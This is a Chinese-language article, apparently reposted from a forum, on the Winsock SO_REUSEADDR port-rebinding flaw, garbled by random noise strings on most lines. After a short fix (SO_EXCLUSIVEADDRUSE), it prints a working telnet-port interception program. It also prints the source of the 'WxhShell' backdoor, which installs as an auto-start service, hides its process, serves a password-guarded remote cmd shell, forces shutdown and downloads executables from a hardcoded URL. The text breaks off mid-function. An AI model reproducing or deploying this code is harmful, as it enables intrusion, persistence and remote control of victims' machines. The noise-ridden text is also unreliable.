在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%^E>~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]gj@r[ }@A~a`9g saddr.sin_family = AF_INET;
6Ue6b$xE t!Av[K saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Vk~}^;`Y d}415 XA bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*JOv q`;URkjk 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4 ]8PF 1$2Rs-J 这意味着什么?意味着可以进行如下的攻击:
CUw
9aH `Op
";E88 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%s)E}cGH ~GY;{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
IWpUbD|kC ^jhHaN]G^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7y`~T+ 2W~2Hk=0+% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
TT&!WbA-Hk j({L6</x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Ap> n4~ !!K=v7M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,|c_l) ~d5{Q?T) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
sQH.}W$C x[oYN9O #include
>"nk}@ #include
j+ys&pDczm #include
1X9sx&5H #include
n2O7n@8 DWORD WINAPI ClientThread(LPVOID lpParam);
uc"u@ _M int main()
wLUmRo56aR {
>zhbipA WORD wVersionRequested;
O 1X
! DWORD ret;
ZmHl~MR@ WSADATA wsaData;
|$ 0/:* BOOL val;
*AN#D?X_ SOCKADDR_IN saddr;
|m EJJg`"7 SOCKADDR_IN scaddr;
XAFTLNV> int err;
g%[Ruugu SOCKET s;
IH0^*f SOCKET sc;
nMbV{h , int caddsize;
#5I "M WA HANDLE mt;
r#~6FpFVK^ DWORD tid;
`4p9K wVersionRequested = MAKEWORD( 2, 2 );
vA{[F7 err = WSAStartup( wVersionRequested, &wsaData );
u1kbWbHu( if ( err != 0 ) {
hP#&]W3: printf("error!WSAStartup failed!\n");
Mo<p+*8u: return -1;
nz&JG~Qfm }
Ek.j@79 saddr.sin_family = AF_INET;
RGKJO_*J2 +[7u>RJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\%VoX`B g?+P&FL#I saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?{dno= saddr.sin_port = htons(23);
O&0R ~<n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[(K^x?\Y0' {
Ywr{/ printf("error!socket failed!\n");
C|JWom\J return -1;
>) ^!gz8 }
Q'Tn+}B& val = TRUE;
/][U$Q;Ke //SO_REUSEADDR选项就是可以实现端口重绑定的
U\z+{]<< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?0<3"2Db~ {
t|DYz#] printf("error!setsockopt failed!\n");
=w5w=qB return -1;
rYqvG }
2g v(`NKYE //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
hv)($; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;Os3
! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+Snjb0 :4Vt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
g<-cHF {
}A;Xd/,'r ret=GetLastError();
m4
(Fuu printf("error!bind failed!\n");
BMW4E 5 return -1;
'mM5l*{ }
!1_:n D listen(s,2);
G7<X l} while(1)
Tk:y>P!%a {
KP(Bu0S
caddsize = sizeof(scaddr);
%"6IAt //接受连接请求
EIfrZg7R sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o_5@R+& if(sc!=INVALID_SOCKET)
s'^#[%EgB {
s5dh]vNN mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Lsz`nD5 if(mt==NULL)
WveFB%@`; {
1,J. printf("Thread Creat Failed!\n");
b,W'0gl break;
wtKh8^:YD }
(qrT0D6 }
YGO@X(ej, CloseHandle(mt);
5W48z%MN
}
o5R\7}]GE closesocket(s);
6M9rC[h\ WSACleanup();
H6eGLg={ return 0;
CAA~VEUL }
L5W>in5( DWORD WINAPI ClientThread(LPVOID lpParam)
gr=`_k4~1 {
XTJ>y@ SOCKET ss = (SOCKET)lpParam;
BSY#xe V SOCKET sc;
m @%|Q; unsigned char buf[4096];
wMoAvA_oS SOCKADDR_IN saddr;
bW]+Og long num;
+*q@= P, DWORD val;
GdU
W$. DWORD ret;
,L;vN6~ //如果是隐藏端口应用的话,可以在此处加一些判断
;<A/e //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5dk,!Cjg saddr.sin_family = AF_INET;
ZJ(!jc$"*% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
aBnbu
vp saddr.sin_port = htons(23);
ccSS au5N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$\
'\@3o {
G;;~xfE' printf("error!socket failed!\n");
96avgyc return -1;
:6+~"7T }
u"jnEKN0y val = 100;
qu%s 7+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/["T#` {
^d*>P|n*@e ret = GetLastError();
M)7enp) F. return -1;
Mm!saKT% }
8E+l;2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p rgjU {
3@L%#]xwi ret = GetLastError();
Cs{f'I return -1;
(Nahtx!/9 }
hd;I x%tq> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Biwdb {
$5r,Q{;$ printf("error!socket connect failed!\n");
-wfV closesocket(sc);
}TW=eu~ closesocket(ss);
'r%oOZk)z return -1;
jxaoQeac }
+IYSWR while(1)
sh2bhv] {
[\1l4C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#Au&2_O //如果是嗅探内容的话,可以再此处进行内容分析和记录
$wTX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b3lpNJ J num = recv(ss,buf,4096,0);
l0{DnQA>I if(num>0)
DG=Ap:sl*$ send(sc,buf,num,0);
h :R)KM else if(num==0)
rUjr'O0 break;
Pa +BE[z num = recv(sc,buf,4096,0);
,m,vo_Ub if(num>0)
`t&;Yk]-L send(ss,buf,num,0);
C5UDez else if(num==0)
S+Yg!RrNqj break;
;g
jp&g9Q }
6,1|y%(f closesocket(ss);
C6~dN&q closesocket(sc);
/p0LtUMu return 0 ;
I:<R@V<~# }
m=B0!Z1xx !++62Lf 9K<a}QJP ==========================================================
FOi`TZ8 ;r"B?] JO 下边附上一个代码,,WXhSHELL
em}Qv3*# 1 ,'^BgI, ==========================================================
Vz]=J;`Mz C:MGi7f #include "stdafx.h"
^^l"brPa 9G+rxyWMW #include <stdio.h>
YWrY{6M #include <string.h>
.`N`M9 #include <windows.h>
'Y\"^'OU\ #include <winsock2.h>
ZF(=^.gc #include <winsvc.h>
{C6;$#7P #include <urlmon.h>
UE w3AO cV,Dl`1r #pragma comment (lib, "Ws2_32.lib")
Po.BcytM #pragma comment (lib, "urlmon.lib")
P'9io!Z-s WI_mJ/2 #define MAX_USER 100 // 最大客户端连接数
]_8I_VcQ #define BUF_SOCK 200 // sock buffer
`0|&T;7 #define KEY_BUFF 255 // 输入 buffer
L$Ar]O) J6D$ i+ #define REBOOT 0 // 重启
-U[`pUY?f #define SHUTDOWN 1 // 关机
Fjt, \'Kj.EO{?$ #define DEF_PORT 5000 // 监听端口
$#3<rcOq ya g #define REG_LEN 16 // 注册表键长度
}#5roNH~Z #define SVC_LEN 80 // NT服务名长度
C/XyDbH a' o8n6i // 从dll定义API
}p?V5Qp typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
h\\2r> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Q$/F gS
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
3MJWC o-[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9= $,] M =3dbw8I // wxhshell配置信息
\ZWmef struct WSCFG {
_J~ta. int ws_port; // 监听端口
ik0Q^^1?Y char ws_passstr[REG_LEN]; // 口令
ULmdt
int ws_autoins; // 安装标记, 1=yes 0=no
{0WIDD char ws_regname[REG_LEN]; // 注册表键名
s^'#"`!v= char ws_svcname[REG_LEN]; // 服务名
M`pTT5r char ws_svcdisp[SVC_LEN]; // 服务显示名
oHd0
<TO char ws_svcdesc[SVC_LEN]; // 服务描述信息
.+L_!A char ws_passmsg[SVC_LEN]; // 密码输入提示信息
l!V| T? int ws_downexe; // 下载执行标记, 1=yes 0=no
4Olv8nOe< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
aw%vu char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)"jn{%/t ]{+M>i[ };
K |} ]< JD`;,Md // default Wxhshell configuration
3l(;Pt-yI struct WSCFG wscfg={DEF_PORT,
,h.Jfo54, "xuhuanlingzhe",
hs_|nr0;[ 1,
5>[sCl- "Wxhshell",
~V"cLTj" "Wxhshell",
C|IQM4 "WxhShell Service",
ur,"K'w "Wrsky Windows CmdShell Service",
bTy)0ta>AF "Please Input Your Password: ",
<;0N@
1,
)X!DCL:16 "
http://www.wrsky.com/wxhshell.exe",
| 4oM+n;Y "Wxhshell.exe"
J~'Q^O3@ };
(g2r\hI NF(IF.8G // 消息定义模块
XAxI?y[c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)/T$H| char *msg_ws_prompt="\n\r? for help\n\r#>";
S Y>,kwHO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
To{G#QEgG char *msg_ws_ext="\n\rExit.";
vJAAAS char *msg_ws_end="\n\rQuit.";
EJ;0ypbG char *msg_ws_boot="\n\rReboot...";
n.6
0$kR` char *msg_ws_poff="\n\rShutdown...";
U2>dwn char *msg_ws_down="\n\rSave to ";
V& j.>Y S]%U] char *msg_ws_err="\n\rErr!";
Dw/Gha/ char *msg_ws_ok="\n\rOK!";
;E? hz Vt)\[Tl~ char ExeFile[MAX_PATH];
5OW8G][ int nUser = 0;
b|8>eY HANDLE handles[MAX_USER];
,#jhKnk2e int OsIsNt;
y_4krY|Zx #JR ,C
-w SERVICE_STATUS serviceStatus;
g6/N\[b% SERVICE_STATUS_HANDLE hServiceStatusHandle;
vWi.[] Z0 IxYEp // 函数声明
vV\F^ int Install(void);
-,fa{ yt- int Uninstall(void);
5az
4N T int DownloadFile(char *sURL, SOCKET wsh);
. (*kgv@3x int Boot(int flag);
H^PqYLjN void HideProc(void);
dMs39j int GetOsVer(void);
{F6dSF` int Wxhshell(SOCKET wsl);
(06Vcqg void TalkWithClient(void *cs);
;ko[(eFN@ int CmdShell(SOCKET sock);
)\D40,p int StartFromService(void);
e]*=sp!T int StartWxhshell(LPSTR lpCmdLine);
_QMHPRELk <,4R2' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
vXM/nw|5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
fov=Yd! JGO$4DK-1 // 数据结构和表定义
ogc('HqF^' SERVICE_TABLE_ENTRY DispatchTable[] =
+`s&i%{1> {
h6T/0YhWLP {wscfg.ws_svcname, NTServiceMain},
['OCw {< {NULL, NULL}
c<h!QnJ };
Gz[ymj)5 Y0u'@l_[F // 自我安装
7fW=5wc int Install(void)
hr!f:D {
n@07$lY@; char svExeFile[MAX_PATH];
T:g4D z*2\ HKEY key;
{Sr=SE strcpy(svExeFile,ExeFile);
'K@{vB r0g/ :lJi // 如果是win9x系统,修改注册表设为自启动
97]a-)SA if(!OsIsNt) {
F@K*T2uh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q~Q)'*m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,JQxs7@2k RegCloseKey(key);
0n<(*bfW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w^dueP7J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$uFh$f RegCloseKey(key);
,y8I)+ return 0;
<jRFN&"h} }
A M1C
$ }
4I#eC#" }
mj(&`HRs4 else {
|DFvZ6} e@,u`{C[ // 如果是NT以上系统,安装为系统服务
}$0xt' q& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
QLB1:O> if (schSCManager!=0)
g<rKV+$6 {
RFn0P)9& SC_HANDLE schService = CreateService
Oa}V>a (
VTJIaqw schSCManager,
[C+Gmu wscfg.ws_svcname,
HL(U~Q6JQ wscfg.ws_svcdisp,
H7yg9zFT
N SERVICE_ALL_ACCESS,
V@f6Lj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^0`<k SERVICE_AUTO_START,
"Ql}Y1 SERVICE_ERROR_NORMAL,
:<N6i/ svExeFile,
RhV:Z3f`6 NULL,
&weY8\HD NULL,
(
*9Ip NULL,
X@yr$3vC NULL,
e:$7^Y,U/ NULL
o/dMm:TF );
W) 33;E/} if (schService!=0)
vhYMWfbY {
`dgM|.w5= CloseServiceHandle(schService);
4j=<p@ CloseServiceHandle(schSCManager);
V{T{0b"\U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c>R`jb@$N strcat(svExeFile,wscfg.ws_svcname);
`
Y{>2UFX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{ p!_-sL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"^9[OgE: RegCloseKey(key);
O/DAf|X| return 0;
mZbWRqP[|_ }
7ZV~op2Q }
T}n}.JwU CloseServiceHandle(schSCManager);
$*AC>i\ }
ol$2sI=.s }
>k&8el6h Q$|^~ return 1;
R,x> $n }
jJ*@5?A XdGpW // 自我卸载
J7'f@X~nM int Uninstall(void)
pK6e/eC {
aE7u5PM HKEY key;
%ezb^O_6v VDByj "% if(!OsIsNt) {
atLV`U&t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uq !; RegDeleteValue(key,wscfg.ws_regname);
B]^>GH RegCloseKey(key);
T|o`a+? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?o~:'Z RegDeleteValue(key,wscfg.ws_regname);
@cuD8<\i RegCloseKey(key);
Ka]J^w;a return 0;
0^GbpSW{ }
;m@1Ec@*p }
x7P([^i }
Sc1+(z else {
=y<">- ET,Q3X\Oe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
y:[BP4H ?y if (schSCManager!=0)
-,~;qSs {
%s$rP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
xl+DRPzl if (schService!=0)
zH)cU%I@. {
2PVx++*]C if(DeleteService(schService)!=0) {
vix&E`0yD CloseServiceHandle(schService);
0PnD|]9: CloseServiceHandle(schSCManager);
y4xT:G/M return 0;
QP6z?j. }
DR
k]{^C~ CloseServiceHandle(schService);
w`c0a&7 }
\4h>2y CloseServiceHandle(schSCManager);
w=f0*$ue+w }
|Z`M*.d+ }
@gt)P4yE )Qh>0T+( return 1;
cS<TmS! }
Qw24/DJK .UM<a
Ik // 从指定url下载文件
N#(jK1`y int DownloadFile(char *sURL, SOCKET wsh)
8{R_6BS {
! jbEm8bt HRESULT hr;
_Kc1 char seps[]= "/";
Dh2:2Rz=#7 char *token;
IK*oFo{C=K char *file;
Y%<`;wK=^ char myURL[MAX_PATH];
\*f;!{P{ char myFILE[MAX_PATH];
az0cS*@ Vh"MKJ'R^ strcpy(myURL,sURL);
9o-!ecx} token=strtok(myURL,seps);
28nmQ while(token!=NULL)
Gs[Vu@* {
cCM
j\H@ file=token;
UdT&cG token=strtok(NULL,seps);
/ Zo~1q }
P3'2IzNw +"]oc{W! GetCurrentDirectory(MAX_PATH,myFILE);
Zxg 1M strcat(myFILE, "\\");
{5T0RL{\N strcat(myFILE, file);
9*#$0Y= send(wsh,myFILE,strlen(myFILE),0);
m)s
xotgXf send(wsh,"...",3,0);
<"*"1(wN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ZhH+D`9 if(hr==S_OK)
mfXD1]<. return 0;
`.{U-U\ else
o_iEkn return 1;
pG/
NuImA yh S#&)O }
H76E+AY }<vvxi // 系统电源模块
Vy]A,Rn7 int Boot(int flag)
B,3 t` {
9'1hjd3k HANDLE hToken;
A#<vG1 TOKEN_PRIVILEGES tkp;
S8\+XJ `SCy<w3$+[ if(OsIsNt) {
(~S<EUc$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_ 1sP.0 t LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
[}z?1Gj;W( tkp.PrivilegeCount = 1;
IuNkfBe4m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]Z_$'?f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
l;Q
>b]DZ if(flag==REBOOT) {
ylk{! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
f%c06Un= return 0;
#C4|@7w% }
/T,zZ9= else {
z1F9$^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
VsEGX@;tO return 0;
x8Q~VVZr }
l$F_"o?&S@ }
l{8CISO* else {
SaCx)8ul0 if(flag==REBOOT) {
bZiyapM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+4Q[N;[+* return 0;
XTV0Le\f }
&`\ ep9 else {
9qEOgJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[6H}/_nD return 0;
]3}feU+ }
bZ/
hgqS }
h0|[etaf V{!lk]p}a return 1;
TZ'aNcGg }
f3!n$lj h6g:(3t6m // win9x进程隐藏模块
L/BHexOB void HideProc(void)
Vn'?3Eb< {
P@C
c]Z `mrCu>7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
|"Z-7@/k$i if ( hKernel != NULL )
0C]4~F x~ {
o5P&JBX< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
%VWp&a8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gt/!~f0r FreeLibrary(hKernel);
)!A 2> }
NEMEY7De2 Rs2-94$!5 return;
M+0x;53nz }
wazP,9W? pajy#0 U // 获取操作系统版本
6+iK!&+= int GetOsVer(void)
n'yl)HA~>` {
#7o0dE;Kg9 OSVERSIONINFO winfo;
*<r%aeG$em winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`_GO=QQ GetVersionEx(&winfo);
YZ<
NP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7aQn; return 1;
6GzzGP^ else
:9`qogF> return 0;
4`s)ue }
`y2ljIWJ -bA!PeI // 客户端句柄模块
Pg
Syt int Wxhshell(SOCKET wsl)
X'@'/[? {
RJx{eck% SOCKET wsh;
zka?cOmYF[ struct sockaddr_in client;
^sV|ck DWORD myID;
2SciB*5 KY
g3U while(nUser<MAX_USER)
~T 02._E {
+`| mJa int nSize=sizeof(client);
=:gjz4}_8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Ir27ZP if(wsh==INVALID_SOCKET) return 1;
@0|nq9l1 g2=}G <*0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\-OC|\{32 if(handles[nUser]==0)
D"cKlp-I6| closesocket(wsh);
D^u\l else
kon5+g9q nUser++;
>!
oF0R_< }
:G}DAUFN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4[1k\ lUHtjr return 0;
vL$|9|W( }
IcFK,y%1 f>niFPW" // 关闭 socket
^wJEfac void CloseIt(SOCKET wsh)
)|RZa|`-G {
f&c]LH_ closesocket(wsh);
vU}: U)S nUser--;
$ 6!iBX@ ExitThread(0);
`VZZ^K9zR }
hM>*a!)U |{f~Ks% // 客户端请求句柄
VjB*{, void TalkWithClient(void *cs)
kwlC[G$j7 {
.!yq@Q|=u 4fty~0i=z SOCKET wsh=(SOCKET)cs;
uoCGSXsi char pwd[SVC_LEN];
]_u`EvEx6 char cmd[KEY_BUFF];
Fg=v6j4W char chr[1];
sKd)BA0` int i,j;
/UHp [yod vLDi ; while (nUser < MAX_USER) {
43L|QFo EeB3 } if(wscfg.ws_passstr) {
A$@o'Q;he if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:Fw?{0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ZMdW2_*F //ZeroMemory(pwd,KEY_BUFF);
fa{@$ppx i=0;
6V2j*J while(i<SVC_LEN) {
M/#U2!iFk &z>q#'X;. // 设置超时
EwQae(PpA fd_set FdRead;
:B.G)M\ struct timeval TimeOut;
fhRjYYGI FD_ZERO(&FdRead);
F\LsI;G FD_SET(wsh,&FdRead);
h<% U["
TimeOut.tv_sec=8;
~<,Sh~Ana. TimeOut.tv_usec=0;
H&bh<KPMh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7/"@yVBW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
yp+F<5o P}@*Z>j:# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
a#y{pT2 b pwd
=chr[0]; dB3N%pB^
if(chr[0]==0xd || chr[0]==0xa) { %S`ik!K"I
pwd=0; ~ziexZ=N
break; E>}q2
} S+ebO/$>
i++; {ma;G[!
} 4SR(->@
g1@wf
// 如果是非法用户,关闭 socket a,n93-m(m
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j Nc<~{/
} GNU;jSh5
$.:3$et@/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sPCMckt
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |>2:eH
CH;;V3
while(1) { tpYa?ZCM
DYRE1!
ZeroMemory(cmd,KEY_BUFF); A1-qtAO]
ZEGd4_ux
// 自动支持客户端 telnet标准 0d4cE10
j=0; 85z;Zt0{
while(j<KEY_BUFF) { Tpzw=bC^
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rd%0\ B
cmd[j]=chr[0]; KlUqoJ;"
if(chr[0]==0xa || chr[0]==0xd) { d#\W hRE
cmd[j]=0; A[H;WKn0
break; C9jbv/c
} 0H[L S
j++; pjN:Y]
} *Jt8
?9e]
// 下载文件 z-@-O
if(strstr(cmd,"http://")) { J+Bdz6lt
send(wsh,msg_ws_down,strlen(msg_ws_down),0); IN^_BKQt
if(DownloadFile(cmd,wsh)) V@Wcb$mgk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #DUh(:E'`
else |C D}<r(N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _M5Xk? e=
} ;|TT(P:d
else { ~NNv>5t5
%+wF"
switch(cmd[0]) { hhmGv9P
zu<3^=3
// 帮助 @^?XaU
case '?': { YwAnqAg
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kon=il<@
break; p)/
p!d[T/
} ' qy#)F
// 安装 7lU.Nit
case 'i': { ow.j+<M
if(Install()) oT3Y!Y3=<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` X}85
else / Z!i;@Wf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D$nK`r
break; K"l0w**Og#
} @\}YAa>>"I
// 卸载 @ Nb%L&=P8
case 'r': { X/+OF'po
if(Uninstall()) M<[?g5=#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CgnXr/!L
else VXIQw'Cq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8#59iQl
break; d+}k g
} Y {c5
// 显示 wxhshell 所在路径 <xn;bp[
case 'p': { de YyaV
char svExeFile[MAX_PATH]; aws"3O%
uW
strcpy(svExeFile,"\n\r"); Z;b+>2oL
strcat(svExeFile,ExeFile); A}G|Yfn
send(wsh,svExeFile,strlen(svExeFile),0); E*|tOj9`1n
break; -_~)f{KN@
} .mPg0
// 重启 rkYjq4Z@
case 'b': { g:gB`8w?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V8"Wpl9Cz
if(Boot(REBOOT)) O3%[dR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s#^pC*,'
else { k/lFRi-i
closesocket(wsh); I]uhi{\C
ExitThread(0); np6HUH
} ]}2Ztr)zZ
break; nY^Nbh0
} '[Gm8K5
// 关机 Fu)Th|5GZ
case 'd': { -&Gfh\_NW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @E_zR
if(Boot(SHUTDOWN)) ^ vbWRG~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2F?kjg,
else { n`L,]dco
closesocket(wsh); h0VzIuV
ExitThread(0); uD)-V;}P@;
} ;nB2o-%
break; bPd-D-R
} -7`-wu
// 获取shell Sz0+<F#5
case 's': { .nZ3kT`
CmdShell(wsh); EOVZGZF
closesocket(wsh); b3U6;]|x
ExitThread(0); X\sm[_I
break; V(mnyI
} qm(1:iK,0
// 退出 1^{`lK~2
case 'x': { ._<ii 2K'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JSW&rn
CloseIt(wsh); =n0*{~r
break; fk3kbdI
} 8/Rm!.8+~
// 离开 c8DZJSO
case 'q': { T;?+kC3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); K.DXJ UR
closesocket(wsh); WC-_+9)2&
WSACleanup(); n33kb/q*
exit(1); t ;-L{`mW
break; H_B~P%E@]
} =!<G!^
} mG(N:n%*K
} nGa1a
+d39f-[
// 提示信息 E
$6ejGw-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1d v=xe.
} ')o0O9/;
} 3Gd0E;3sk~
I@./${o
return; >XE`h9
}
BGqa-d
CC8k&u,
// shell模块句柄 aRwnRii
int CmdShell(SOCKET sock) {Y_Nj`#BT
{ (9GbG"
STARTUPINFO si; ./w{L"E
ZeroMemory(&si,sizeof(si)); Hj~O49%j&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9<cOYY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jXR16|
PROCESS_INFORMATION ProcessInfo; 5(J^N
char cmdline[]="cmd"; o'Y#H
r)/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A1_ J sS
return 0; PqEAqP
} +qkMQETV6
mJMq{6;
// 自身启动模式 0IzZKRw
int StartFromService(void) L[C*@
uK
{ gq 4 . d
typedef struct DuNcX$%%
{ r95zP]T
DWORD ExitStatus; H;I~N*ltJ(
DWORD PebBaseAddress; Z .Pi0c+
